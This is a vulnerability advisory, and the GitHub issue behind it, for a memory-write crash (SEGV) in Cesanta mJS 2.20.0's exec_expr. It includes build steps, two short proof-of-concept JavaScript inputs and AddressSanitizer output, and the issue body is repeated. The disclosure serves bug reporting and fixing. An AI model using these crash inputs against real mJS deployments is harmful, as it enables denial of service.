Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via exec_expr at src/mjs_exec.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case1
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
[""]isNaN[NaN] = 2;
```
</code></pre>
</details>

###### Test case2
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
function T(o) {
    for (let i = 0; i < 2; i++)
        JSON.stringify[i] =-undefined;
    o.length = undefined;
    return o;
}

function JSEtest(a) {
    T(a);
    undefined + T(0) + T(0);
    for(let i = 0; i < 10000000; i++) {}
}

JSEtest({});
```
</code></pre>
</details>

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
=====ERROR: AddressSanitizer: SEGV on unknown address 0x560130588150 (pc 0x56013054b8c1 bp 0xfff2560130588150 sp 0x7ffde3a287f0 T0)
=====The signal is caused by a WRITE memory access.
    #0 0x56013054b8c0 in exec_expr src/mjs_exec.c:347
    #1 0x56013054b8c0 in mjs_execute src/mjs_exec.c:888
    #2 0x560130550a05 in mjs_exec_internal src/mjs_exec.c:1073
    #3 0x560130550a05 in mjs_exec_file src/mjs_exec.c:1096
    #4 0x56013050d909 in main src/mjs_main.c:47
    #5 0x7f497ee31b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x56013050e449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:347 in exec_expr
```

Credits: Found by OWL337 team.
SEGV src/mjs_exec.c:347 in exec_expr
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV src/mjs_exec.c:347 in exec_expr
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case1
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
[""]isNaN[NaN] = 2;
```
</code></pre>
</details>

###### Test case2
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
function T(o) {
    for (let i = 0; i < 2; i++)
        JSON.stringify[i] =-undefined;
    o.length = undefined;
    return o;
}

function JSEtest(a) {
    T(a);
    undefined + T(0) + T(0);
    for(let i = 0; i < 10000000; i++) {}
}

JSEtest({});
```
</code></pre>
</details>

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
=====ERROR: AddressSanitizer: SEGV on unknown address 0x560130588150 (pc 0x56013054b8c1 bp 0xfff2560130588150 sp 0x7ffde3a287f0 T0)
=====The signal is caused by a WRITE memory access.
    #0 0x56013054b8c0 in exec_expr src/mjs_exec.c:347
    #1 0x56013054b8c0 in mjs_execute src/mjs_exec.c:888
    #2 0x560130550a05 in mjs_exec_internal src/mjs_exec.c:1073
    #3 0x560130550a05 in mjs_exec_file src/mjs_exec.c:1096
    #4 0x56013050d909 in main src/mjs_main.c:47
    #5 0x7f497ee31b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x56013050e449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:347 in exec_expr
```

Credits: Found by OWL337 team.
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